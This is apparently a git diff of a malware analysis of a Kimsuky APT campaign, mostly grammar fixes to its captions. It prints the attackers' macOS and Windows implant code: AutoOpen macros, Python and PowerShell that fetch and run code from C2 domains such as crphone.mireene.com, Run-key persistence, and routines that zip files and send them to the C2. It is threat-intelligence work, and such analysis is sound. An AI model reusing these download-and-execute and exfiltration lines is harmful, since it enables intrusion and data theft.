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North Korea/APT/Kimsuky/2020-03-20/Analysis.md
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@ -20,7 +20,7 @@
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="http://crphone.mireene.com/plugin/editor/Templates/normal.php?name=web" TargetMode="External"/>
</Relationships>
```
<h6>This execute a second maldoc with a macro. The first block of the VBA code is the declaration for use the functions of the office version on Mac.</h6>
<h6>This executes a second maldoc with a macro. The first block of the VBA code is the declaration for use the functions of the office version on Mac. <br/>Note : Mac OS X 10.8 comes with Python 2.7 pre-installed by Apple and now Python 3 on the lastest releases.</h6>
```python
#If Mac Then
@ -32,7 +32,7 @@
#End If
```
<h6>The last block of code is the function for auto-execute the malicious code. This request and execute python code in memory (fileless).</h6>
<h6>The last block of code is the function for auto-executing the malicious code. This request and execute python code in memory (fileless).</h6>
```python
Sub AutoOpen()
@ -58,14 +58,14 @@ eHandler: 'if an error is throw exit
End Sub
```
<h6>Firstly,this declare the imports, interesting to note that use posixpath package for get an universal path ( with "/") for easily manage theirs paths. </h6>
<h6>Firstly,this declares the imports, interesting to note that use posixpath package for getting a universal path (with "/") for easily manage theirs paths.</h6>
```python
import os;
import posixpath;
import urllib2;
```
<h6> Once this done, this create the path, enforce to remove the current maldoc and write it again (force but don't check their existence on the disk) for the persistence. </h6>
<h6> Once this done, this create the path, enforce to remove the current maldoc and write it again (force but don't check their existence on the disk) for the persistence.</h6>
```python
home_dir = posixpath.expandvars("$HOME");
@ -76,13 +76,13 @@ data = urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor
os.write(fd, data);
os.close(fd)
```
<h6> Finally, execute the last fileless python script for the recon actions.</h6>
<h6>Finally, execute the last fileless python script for the recon actions.</h6>
```python
exec(urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=v60')).read())
```
<h6>The first two functions of the final python script are for execute a new shell and push the program on an infinite loop.</h6>
<h6>The first two functions of the final python script are for executing a new shell and push the program on an infinite loop.</h6>
```python
import os
@ -102,7 +102,7 @@ def SpyLoop():
time.sleep(300)
```
<h6>The Collectdata function queries for get the system informations, files on the differents repetories, pack it on a password ZIP and send it to the C2.</h6>
<h6>The Collectdata function queries for getting the system informations, files on the differents repertories, pack it on a password ZIP and send it to the C2.</h6>
```python
def CollectData():
@ -153,7 +153,7 @@ def CollectData():
print "error"
```
<h6>This reuse the code of the structure of the php form for send teh data of the C2.</h6>
<h6>This reuse the code of the structure of the php form for sending teh data of the C2.</h6>
```html
<form enctype="multipart/form-data" action="upload.php?param=" method="post">
@ -163,14 +163,14 @@ def CollectData():
</form>
```
<h6>The main code execute a new thread the SpyLoop function.</h6>
<h6>The main code executes a new thread the SpyLoop function.</h6>
```python
main_thread = threading.Thread(target=SpyLoop)
main_thread.start()
```
<h3>Powershell implant<a name="Windows"></a></h3>
<h6>The initial vector is a maldoc with a VBA macro which use an auto-execute function for get the content of theirs froms and execute in memory. The rest of the last three functions are useless.</h6>
<h6>The initial vector is a maldoc with a VBA macro which use an auto-execute function for get the content of theirs forms and execute in memory. The rest of the last three functions are useless.</h6>
```vb
Sub AutoOpen()
@ -237,7 +237,7 @@ Sub regpa()
Selection.PageSetup.BottomMargin = CentimetersToPoints(2.5)
End Sub
```
<h6>The first block of the Powershell script is the values used for the configuration (persistence, URL to join, path of the files, for run payload...).</h6>
<h6>The first block of the Powershell script is the values used for the configuration (Persistence, URL to join, path of the files, for run payload...).</h6>
```csharp
$SERVER_ADDR = "http://mybobo.mygamesonline.org/flower01/"
@ -254,7 +254,7 @@ $RegKey = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
$regValue = "cmd.exe /c powershell.exe -windowstyle hidden IEX (New-Object System.Net.WebClient).DownloadString('http://mybobo.mygamesonline.org/flower01/flower01.ps1')"
```
<h6>The next block is for get the same informations that the MacOS version and for decode the commands send by the C2 to execute to victim.</h6>
<h6>The next block is for getting the same informations that the MacOS version and for decode the commands send by the C2 to execute to the victim.</h6>
```csharp
function Get_info($logpath)
@ -387,7 +387,7 @@ function UpLoadFunc($logpath)
}
```
<h6>The main function push the persistence, send the data stolen and wait the new order.</h6>
<h6>The main function pushes the persistence, send the data stolen and wait for the new order.</h6>
```csharp
function main
@ -415,9 +415,7 @@ function main
}
main
```
<h2>Threat Intelligence</h2><a name="Intel"></a></h2>
#### Similarities between the different versions of kimsuky
@ -425,7 +423,7 @@ main
<ul>
<li><h6>On the URL path used for download script path like {?filename}=FilenameRquested".</h6></li>
<li><h6>The structure used for upload the data are edited and pushed in the header.</h6></li>
<li><h6>Multiples domains using the same base of domain mireene.com with recent samples of Kimsuky spotted :</h6></li>
<li><h6>Multiples domains using the same base of the domain mireene.com with recent samples of Kimsuky spotted :</h6></li>
<table>
<tr>
@ -451,7 +449,7 @@ main
</table>
</ul>
<h6>The domains have the same output IP too and are located in South Korea</h6>
<h6>The domains have the same output IP too and are located in South Korea :</h6>
<table>
<tr>